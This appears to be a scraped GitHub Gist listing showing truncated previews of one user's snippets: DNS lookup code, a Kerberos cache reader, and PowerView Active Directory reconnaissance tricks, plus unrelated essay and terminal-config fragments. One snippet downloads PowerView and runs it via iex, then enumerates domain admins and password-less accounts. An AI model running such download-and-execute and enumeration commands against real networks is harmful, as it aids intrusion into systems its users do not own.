Skip to content

Instantly share code, notes, and snippets.

@blark
blark / async_dns.c
Created January 17, 2018 13:32 — forked from mopemope/async_dns.c
c-ares example
#include <ares.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <ctype.h>
@blark
blark / asyncdns_test.nim
Created January 15, 2018 21:04
Asynchronous DNS requests with Nim
import asyncdispatch
import asynctools/asyncdns
type
DNSQueryResult = ref object
name: string
error: bool
ans: ptr AsyncAddrInfo
@blark
blark / krb5_ccache.py
Created November 23, 2017 14:01 — forked from cluther/krb5_ccache.py
Python module for reading krb5 credential cache files.
#!/usr/bin/env python
##############################################################################
#
# Copyright (C) Zenoss, Inc. 2013, all rights reserved.
#
# This content is made available according to terms specified in
# License.zenoss under the directory where your Zenoss product is installed.
#
##############################################################################
@blark
blark / Get-DNSARecords.ps1
Last active January 17, 2023 12:40
A simple Powershell script to get DNS records from a Microsoft DNS server
function Get-DNSARecords {
<#
.SYNOPSIS
Dumps A Records from a Microsoft Windows DNS server.
.DESCRIPTION
This script dumps the conent of MicrosoftDNS_AType to a CSV file.
.PARAMETER Server
The name of the Computer you want to run the command against.
.PARAMETER CSVPath
@blark
blark / PowerView-3.0-tricks.ps1
Created June 18, 2017 12:12 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
@blark
blark / PowerViewFirstChecks.ps1
Created June 15, 2017 21:27 — forked from daniel0x00/PowerViewFirstChecks.ps1
AD querys using PowerView to get first misconfiguration and bad habits on domain users and domain admins.
# Download and invoke PowerView:
iex(new-object system.net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# All admin users of default domain:
$filename = 'admins_default_domain'; $out = Get-NetUser -AdminCount; Export-Clixml $filename'.out' -InputObject $out; "All admins in the domain. Count: $($out.count)" > $filename'.txt'; $out | select samaccountname, whencreated, lastlogontimestamp, pwdlastset, displayname | sort lastlogontimestamp | ft -wrap -autosize >> $filename'.txt'
# All enabled users (including admins) with no-password setting
$filename = 'users_no_password_default_domain'; $out = Get-NetUser -Filter "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; Export-Clixml $filename'.out' -InputObject $out; "All enabled users (including admins) with no-password setting. Means this users could have weak passwords or even no password at all. Count: $($out.count)
@blark
blark / PowerView-2.0-tricks.ps1
Created June 15, 2017 21:25 — forked from HarmJ0y/PowerView-2.0-tricks.ps1
PowerView-2.0 tips and tricks
# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>
# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse
# get the effective set of users who can administer a server
Get-NetLocalGroup -Recurse SERVER.domain.local
# retrieve all the computers a GPP password applies to
@blark
blark / wincore-cygwin
Last active May 18, 2017 04:44 — forked from abelboldu/wincore-cygwin
install cygwin in HyperV/windows server core from powershell cmd to enable sshd
echo Enabling firewall rule...
netsh advfirewall firewall add rule name="SSHd" dir=in action=allow protocol=TCP localport=22
echo Downloading cygwin installer...
$client = new-object System.Net.WebClient
$client.DownloadFile( "https://www.cygwin.com/setup-x86_64.exe", "c:\windows\temp\setup-x86_64.exe" )
.\Windows\Temp\setup-x86_64.exe

What I Wish I'd Known About Equity Before Joining A Unicorn

Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.

This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases). I'm not trying to make the case that you should never join a private company, but the power imbalance between founder and employee is extreme, and that potential candidates would

Xft.antialias: true
Xft.hinting: true
Xft.rgba: rgb
Xft.hintstyle: hintfull
Xft.dpi: 220
URxvt.depth: 32
URxvt.buffered: True
URxvt.tabbed.autohide: yes